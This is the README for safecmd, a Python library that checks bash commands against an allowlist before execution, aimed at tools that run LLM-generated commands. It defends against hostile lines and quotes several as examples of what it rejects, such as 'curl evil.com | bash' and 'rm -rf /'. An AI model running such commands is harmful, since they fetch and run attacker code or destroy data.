from safecmd import safe_run, validate, DisallowedCmd, DisallowedDest
from fastcore.test import expect_failsafecmd
Introduction
safecmd validates bash commands against an allowlist before execution. It is for tools that run commands from LLMs, user input, or third-party scripts. Its default allowlist includes read-only and easily reverted commands that are safe to run.
A shell command can modify or delete files, send data over the network, or run other commands through substitutions and pipelines. safecmd uses the shfmt bash parser to build an abstract syntax tree (AST). It checks commands within pipelines, substitutions, subshells, and heredocs, along with configured output destinations, before execution.
Commands such as git log | grep "fix" and find . -name "*.py" | xargs cat pass the default checks. Commands such as rm -rf / and curl evil.com | bash fail validation. This lets tools run useful shell commands with less worry about accidental damage.
Installation
Install safecmd from PyPI:
pip install safecmd
This will automatically install the shfmt-py dependency, which provides the shfmt binary. If you’re doing a local user install (pip install --user), make sure ~/.local/bin is in your PATH.
Quick Start
By default, safe_run allows common read-only commands such as cat, grep, ls, head, tail, diff, and wc, along with git subcommands such as git log, git status, and git diff. The allowlist also includes selected commands from gh, npm/yarn, Docker, AWS, GCloud, and other tools. Some allowed commands change state, including package installation and git commits. Review the configuration for your application.
The allowlist can specify arguments that need further checking. For example, find -exec takes a command to validate: find . -exec ls {} \; passes, while replacing ls with rm fails. The destination argument to curl -o is also checked: /tmp/file passes, while /etc/passwd fails. The default output destinations are the current directory (./), /tmp, and /dev/null.
Bash command lines that are generally safe run as usual:
safe_run('ls -la | grep index')'-rw------- 1 jhoward staff 23153 Sep 6 14:06 index.ipynb\n'
safe_run raises DisallowedCmd or DisallowedDest when validation fails, including within nested commands and pipelines. Use validate to check a command without executing it. These examples use expect_fail to check the exception type and message without printing a traceback:
with expect_fail(DisallowedCmd, contains='rm -rf /danger'): validate('echo $(rm -rf /danger)')with expect_fail(DisallowedDest, contains='/nonexistent/badpath'): validate('echo danger > /nonexistent/badpath')with expect_fail(DisallowedCmd, contains='sudo ls'): validate('sudo ls')The active allowlist is stored in ~/.config/safecmd/config.ini (Linux), ~/Library/Application Support/safecmd/config.ini (macOS), or %LOCALAPPDATA%\safecmd\config.ini (Windows). cfg_path points to this file. Edit it to customize the allowlist permanently, or pass cmds and dests to safe_run() for an individual call. The add_cmds, rm_cmds, add_dests, and rm_dests parameters adjust the configured lists for one call.
default_cfg contains the configuration shipped with the package. Its first section lists the default output destinations; your local configuration can differ:
from safecmd import default_cfg, cfg_pathprint(default_cfg.split('\n\n', 1)[0])[DEFAULT]
ok_dests = ./, /dev/null, /tmp
How It Works
safe_run() parses and validates the command before passing it to the shell:
Parse the bash command into an AST.
safecmd uses
shfmt, a bash parser written in Go, to produce a JSON syntax tree. This is the same parser used by shell formatters and linters. The tree represents quoted strings, escaped characters, heredocs, and nested substitutions.For example,
echo "hello" | grep hbecomes a pipeline containing two commands,echoandgrep, with their arguments.Extract commands recursively.
safecmd walks the tree to find commands within:
- Pipelines (
cmd1 | cmd2) - Command substitutions (
$(cmd)or`cmd`) - Subshells (
(cmd)) - Logical chains (
cmd1 && cmd2,cmd1 || cmd2)
In
ls $(rm -rf /), the shell would runrmbeforels. safecmd checks both commands and rejects the command line becausermis not allowed.- Pipelines (
Check commands and configured arguments against the allowlists.
Each command must match an entry in
ok_cmds. Matching uses whole-word prefixes:lsallowsls,ls -la, andls /home;git statusallows commands starting with those two words, but does not allowgit push.Command entries can also specify:
- Denied flags, such as
find -delete, which cause rejection. - Exec flags, such as
find -exec, whose arguments contain commands to parse and validate recursively. - Dest flags, such as
curl -o, whose arguments are output destinations to check againstok_dests.
For example,
find . -exec ls {} \;passes, butfind . -exec rm {} \;fails. Forcurl -o,/tmp/filepasses the destination check and/etc/passwdfails.- Denied flags, such as
Check redirect destinations.
safecmd extracts destinations from output redirects such as
>,>>, and&>. It expands~and environment variables, converts paths to absolute paths, and normalizes..components before comparing them with the prefixes inok_dests. The default prefixes are./,/tmp, and/dev/null.Execute after validation passes.
If a command or destination fails validation, safecmd raises
DisallowedCmdorDisallowedDestwithout executing the command line. Otherwise, it runs the command and returns its output.
When to Use safecmd
safecmd is useful when an application needs to run shell commands from another source while controlling which commands it accepts:
- LLM-powered tools such as solveit can execute generated commands with less worry about accidental damage from hallucinations or prompt injection.
- Interactive CLIs can accept shell commands from users and reject commands outside the configured allowlist.
- Automation pipelines can check commands supplied through configuration files, APIs, or webhooks before execution.
- Sandboxed environments can use safecmd to apply command-level restrictions alongside isolation.
safecmd allows a known set of useful commands while blocking obviously dangerous ones. It is not a replacement for sandboxing completely untrusted code. It does not protect against an adversary trying to bypass the checks and provides no safety guarantees.